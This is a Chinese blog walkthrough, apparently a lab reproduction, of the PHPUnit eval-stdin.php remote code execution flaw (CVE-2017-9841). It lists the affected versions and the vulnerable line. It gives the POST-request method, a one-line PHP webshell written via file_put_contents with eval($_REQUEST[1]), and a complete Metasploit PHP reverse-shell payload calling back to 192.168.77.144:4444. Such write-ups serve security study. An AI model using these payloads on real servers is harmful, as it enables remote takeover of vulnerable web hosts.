phpunit 远程代码执行漏洞(CVE-2017-9841)

phpunit 远程代码执行漏洞(CVE-2017-9841)

漏洞概述:

PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架,通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹.phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录,则存在远程代码执行漏洞。

漏洞版本:

4.8.19 ~ 4.8.27
5.0.10 ~ 5.6.2

基本原理:

漏洞位于/phpunit/src/Util/PHP/eval-stdin.php。
eval(’?>’.file_get_contents(‘php://input’));

漏洞复现:

总体来说就是向vendor/phpunit/src/Util/PHP/eval-stdin.php发送POST请求执行php代码。
例如直接执行phpinfo
在这里插入图片描述
在这里插入图片描述
用die()函数回显md5值
在这里插入图片描述
也可以直接写入一句话木马。<?=file_put_contents("1.php", '<?=eval($_REQUEST[1]);?>’);
在这里插入图片描述
但是第一次显示没有权限
在这里插入图片描述
在这里插入图片描述
给WEB目录赋予权限之后可以上传
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
菜刀访问第一次路径写错了提示404,第二次提示200但是报错,网上说可能是linux和Windows编码不兼容,或是PHP版本问题,目前还没解决。
在这里插入图片描述
在这里插入图片描述
在浏览器访问webshell地址,访问不到
在这里插入图片描述
第二次用msf生成PHP木马,查看木马的内容

/*<?php /**/ error_reporting(0); $ip = '192.168.77.144'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

在这里插入图片描述
用之前的方法将木马的内容粘贴到XX的位置:

<?=file_put_contents("1.php", 'XX'); ![在这里插入图片描述](https://img-blog.csdnimg.cn/20210421185205472.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzcxODY4OA==,size_16,color_FFFFFF,t_70) 然后发包,可以看到下图回显 ![在这里插入图片描述](https://img-blog.csdnimg.cn/20210421185214637.png) 在kali机里面监听获取shell ![在这里插入图片描述](https://img-blog.csdnimg.cn/20210421185222775.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzcxODY4OA==,size_16,color_FFFFFF,t_70)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值